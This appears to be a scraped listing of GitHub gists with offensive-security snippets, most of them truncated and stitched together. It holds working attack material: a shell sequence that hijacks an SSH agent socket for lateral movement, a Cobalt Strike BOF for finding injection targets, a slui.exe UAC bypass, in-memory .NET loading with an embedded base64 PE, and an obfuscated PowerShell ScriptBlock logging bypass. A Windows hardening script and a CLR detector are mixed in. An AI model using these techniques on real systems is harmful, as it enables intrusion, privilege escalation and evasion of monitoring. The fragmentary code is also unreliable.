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Andrew LeFevre capnspacehook

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Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld
@G0ldenGunSec
G0ldenGunSec / EnumCLR.c
Last active February 23, 2024 10:37
Cobalt Strike BOF to identify processes with the CLR loaded with a goal of identifying SpawnTo / injection candidates.
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include "beacon.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcesses(DWORD *, DWORD, LPDWORD);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcessModulesEx(HANDLE, HMODULE*, DWORD, LPDWORD, DWORD);
@lesnuages
lesnuages / bypassuac.go
Last active March 16, 2023 02:21
slui.exe UAC bypass Go implementation
// UAC bypass ported from https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation/blob/master/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp
package main
import (
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows/registry"
)
@lesnuages
lesnuages / priv.go
Last active February 11, 2019 19:57
Privesc crash
package main
import (
"fmt"
"log"
"os/exec"
"syscall"
"time"
"unsafe"
)
@Evilcry
Evilcry / findautoelevate.ps1
Created July 8, 2018 07:40
Enumerate executables with auto-elevation enabled
# Find Autoelevate executables
Write-Host "System32 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black
Select-String -Path C:\Windows\System32\*.exe -pattern "<AutoElevate>true"
Write-Host "`nSysWOW64 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black
Select-String -Path C:\Windows\SysWOW64\*.exe -pattern "<AutoElevate>true"
@mattifestation
mattifestation / LoadInMemoryModule.ps1
Created March 30, 2018 18:01
A stealthier method of loading a .NET PE in memory - via the Assembly.LoadModule method
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
$TypeBuilder.CreateType()
$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA
@mackwage
mackwage / windows_hardening.cmd
Last active April 28, 2024 20:54
Script to perform some hardening of Windows OS
:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
:: Obligatory 'views are my own'. :)
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key!
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:
function Get-ClrReflection
{
<#
.SYNOPSIS
Detects memory-only CLR (.NET) modules
Author: Joe Desimone (@dez_)
License: BSD 3-Clause
@curi0usJack
curi0usJack / .htaccess
Last active March 13, 2024 10:17
FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.
#
# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
#
# Note this version requires Apache 2.4+
#
# Save this file into something like /etc/apache2/redirect.rules.
# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
#
# Include /etc/apache2/redirect.rules
#
@cobbr
cobbr / ScriptBlockLogBypass.ps1
Last active January 28, 2023 20:20
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}